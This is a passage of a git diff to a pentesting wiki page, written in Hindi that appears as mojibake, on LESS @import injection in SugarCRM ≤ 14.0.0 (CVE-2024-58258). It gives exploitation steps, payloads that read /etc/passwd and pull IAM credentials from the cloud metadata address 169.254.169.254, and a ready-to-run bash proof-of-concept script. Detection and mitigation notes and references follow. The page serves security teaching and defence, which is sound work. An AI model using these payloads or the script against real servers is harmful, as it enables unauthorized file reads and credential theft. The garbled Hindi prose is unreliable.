рд╕реНрдерд╛рдиреАрдп рдлрд╝рд╛рдЗрд▓реЗрдВ (рдЬрд╛рдирдХрд╛рд░реА рдХрд╛ рдЦреБрд▓рд╛рд╕рд╛ / рд▓реЛрдХрд▓ рдлрд╝рд╛рдЗрд▓ рд╕рдорд╛рд╡реЗрд╢рди)ред +* рдЖрдВрддрд░рд┐рдХ рдиреЗрдЯрд╡рд░реНрдХ рдпрд╛ рдХреНрд▓рд╛рдЙрдб рдореЗрдЯрд╛рдбреЗрдЯрд╛ рд╕реЗрд╡рд╛рдУрдВ рдкрд░ рджреВрд░рд╕реНрде рд╕рдВрд╕рд╛рдзрди (SSRF)ред + +рдпрд╣ рддрдХрдиреАрдХ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рджреБрдирд┐рдпрд╛ рдХреЗ рдЙрддреНрдкрд╛рджреЛрдВ рдореЗрдВ рджреЗрдЦреА рдЧрдИ рд╣реИ рдЬреИрд╕реЗ **SugarCRM тЙд 14.0.0** (`/rest/v10/css/preview` рдПрдВрдбрдкреЙрдЗрдВрдЯ)ред + +## рд╢реЛрд╖рдг + +1. рдПрдХ рдкреИрд░рд╛рдореАрдЯрд░ рдХреА рдкрд╣рдЪрд╛рди рдХрд░реЗрдВ рдЬреЛ LESS рдЗрдВрдЬрди рджреНрд╡рд╛рд░рд╛ рд╕рдВрд╕рд╛рдзрд┐рдд рд╕реНрдЯрд╛рдЗрд▓рд╢реАрдЯ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рдЕрдВрджрд░ рд╕реАрдзреЗ рдПрдореНрдмреЗрдб рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ (рдЬреИрд╕реЗ рдХрд┐ SugarCRM рдореЗрдВ `?lm=`)ред +2. рд╡рд░реНрддрдорд╛рди рдмрдпрд╛рди рдХреЛ рдмрдВрдж рдХрд░реЗрдВ рдФрд░ рдирдП рдирд┐рд░реНрджреЗрд╢ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░реЗрдВред рд╕рдмрд╕реЗ рд╕рд╛рдорд╛рдиреНрдп рдкреНрд░рд╛рдЗрдорд┐рдЯрд┐рд╡ рд╣реИрдВ: +* `;` тАУ рдкрд┐рдЫрд▓реЗ рдШреЛрд╖рдгрд╛ рдХреЛ рд╕рдорд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИред +* `}` тАУ рдкрд┐рдЫрд▓реЗ рдмреНрд▓реЙрдХ рдХреЛ рдмрдВрдж рдХрд░рддрд╛ рд╣реИ (рдпрджрд┐ рдЖрд╡рд╢реНрдпрдХ рд╣реЛ)ред +3. рдордирдорд╛рдиреЗ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП `@import (inline) '';` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред +4. рд╡реИрдХрд▓реНрдкрд┐рдХ рд░реВрдк рд╕реЗ рдЖрдпрд╛рдд рдХреЗ рдмрд╛рдж рдПрдХ **рдорд╛рд░реНрдХрд░** (`data:` URI) рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░реЗрдВ рддрд╛рдХрд┐ рд╕рдВрдХрд▓рд┐рдд CSS рд╕реЗ рдлреЗрдЪ рдХреА рдЧрдИ рд╕рд╛рдордЧреНрд░реА рдХреЛ рдирд┐рдХрд╛рд▓рдирд╛ рдЖрд╕рд╛рди рд╣реЛ рд╕рдХреЗред + +### рд▓реЛрдХрд▓ рдлрд╝рд╛рдЗрд▓ рдкрдврд╝рдирд╛ +``` +1; @import (inline) 'file:///etc/passwd'; +@import (inline) 'data:text/plain,@@END@@'; // +``` +`/etc/passwd` рдХреА рд╕рд╛рдордЧреНрд░реА HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ `@@END@@` рдорд╛рд░реНрдХрд░ рд╕реЗ рдареАрдХ рдкрд╣рд▓реЗ рджрд┐рдЦрд╛рдИ рджреЗрдЧреАред + +### SSRF тАУ рдХреНрд▓рд╛рдЙрдб рдореЗрдЯрд╛рдбреЗрдЯрд╛ +``` +1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/"; +@import (inline) 'data:text/plain,@@END@@'; // +``` +### рд╕реНрд╡рдЪрд╛рд▓рд┐рдд PoC (SugarCRM рдЙрджрд╛рд╣рд░рдг) +```bash +#!/usr/bin/env bash +# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd + +TARGET="$1" # Base URL of SugarCRM instance +RESOURCE="$2" # file:// path or URL to fetch + +INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))") + +curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \ +sed -n 's/.*@@END@@\(.*\)/\1/p' +``` +## Detection + +* рдЕрд╕реНрд╡реАрдХреГрдд рдХреНрд╡реЗрд░реА рдкреИрд░рд╛рдореАрдЯрд░ рд╡рд╛рд▓реЗ рдЧрддрд┐рд╢реАрд▓ рд░реВрдк рд╕реЗ рдЙрддреНрдкрдиреНрди `.less` рдпрд╛ `.css` рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рддрд▓рд╛рд╢ рдХрд░реЗрдВред +* рдХреЛрдб рд╕рдореАрдХреНрд╖рд╛ рдХреЗ рджреМрд░рд╛рди, рдРрд╕реЗ рдирд┐рд░реНрдорд╛рдгреЛрдВ рдХреА рдЦреЛрдЬ рдХрд░реЗрдВ рдЬреИрд╕реЗ `"@media all { .preview { ... ${userInput} ... } }"` рдЬреЛ LESS рд░реЗрдВрдбрд░ рдлрд╝рдВрдХреНрд╢рдВрд╕ рдХреЛ рдкрд╛рд╕ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред +* рд╢реЛрд╖рдг рдХреЗ рдкреНрд░рдпрд╛рд╕реЛрдВ рдореЗрдВ рдЕрдХреНрд╕рд░ `@import`, `(inline)`, `file://`, `http://169.254.169.254`, рдЖрджрд┐ рд╢рд╛рдорд┐рд▓ рд╣реЛрддреЗ рд╣реИрдВред + +## Mitigations + +* LESS рдХрдВрдкрд╛рдЗрд▓рд░ рдХреЛ рдЕрд╕реНрд╡реАрдХреГрдд рдбреЗрдЯрд╛ рди рджреЗрдВред +* рдпрджрд┐ рдЧрддрд┐рд╢реАрд▓ рдорд╛рди рдЖрд╡рд╢реНрдпрдХ рд╣реИрдВ, рддреЛ рдЙрдиреНрд╣реЗрдВ рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ **escape**/sanitize рдХрд░реЗрдВ (рдЬреИрд╕реЗ, рд╕рдВрдЦреНрдпрд╛рддреНрдордХ рдЯреЛрдХрди, рд╡реНрд╣рд╛рдЗрдЯрд▓рд┐рд╕реНрдЯ рддрдХ рд╕реАрдорд┐рдд рдХрд░реЗрдВ)ред +* рдЬрдм рд╕рдВрднрд╡ рд╣реЛ, `(inline)` рдЖрдпрд╛рддреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдХреЛ рдЕрдХреНрд╖рдо рдХрд░реЗрдВ, рдпрд╛ рдЕрдиреБрдордд рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЛ `https` рддрдХ рд╕реАрдорд┐рдд рдХрд░реЗрдВред +* рдирд┐рд░реНрднрд░рддрд╛рдУрдВ рдХреЛ рдЕрджреНрдпрддрд┐рдд рд░рдЦреЗрдВ тАУ SugarCRM рдиреЗ рд╕рдВрд╕реНрдХрд░рдг 13.0.4 рдФрд░ 14.0.1 рдореЗрдВ рдЗрд╕ рд╕рдорд╕реНрдпрд╛ рдХреЛ рдкреИрдЪ рдХрд┐рдпрд╛ред + +## Real-World Cases + +| Product | Vulnerable Endpoint | Impact | +|---------|--------------------|--------| +| SugarCRM тЙд 14.0.0 | `/rest/v10/css/preview?lm=` | Unauthenticated SSRF & local file read | + +## References + +* [SugarCRM тЙд 14.0.0 (css/preview) LESS Code Injection Vulnerability](https://karmainsecurity.com/KIS-2025-04) +* [SugarCRM Security Advisory SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/) +* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258) + +{{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md b/src/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md index eeda6c883..c3799bbc3 100644 --- a/src/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md +++ b/src/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md @@ -2,6 +2,12 @@ {{#include ../../banners/hacktricks-training.md}} -рдЬрд╛рдВрдЪреЗрдВ **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)** +Check **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)** + +- SugarCRM тЙд 14.0.0 тАУ LESS `@import` рдЗрдВрдЬреЗрдХреНрд╢рди `/rest/v10/css/preview` рдореЗрдВ рдЕрдирдзрд┐рдХреГрдд SSRF рдФрд░ рд╕реНрдерд╛рдиреАрдп рдлрд╝рд╛рдЗрд▓ рдкрдврд╝рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред + +{{#ref}} +../less-code-injection-ssrf.md +{{#endref}} {{#include ../../banners/hacktricks-training.md}}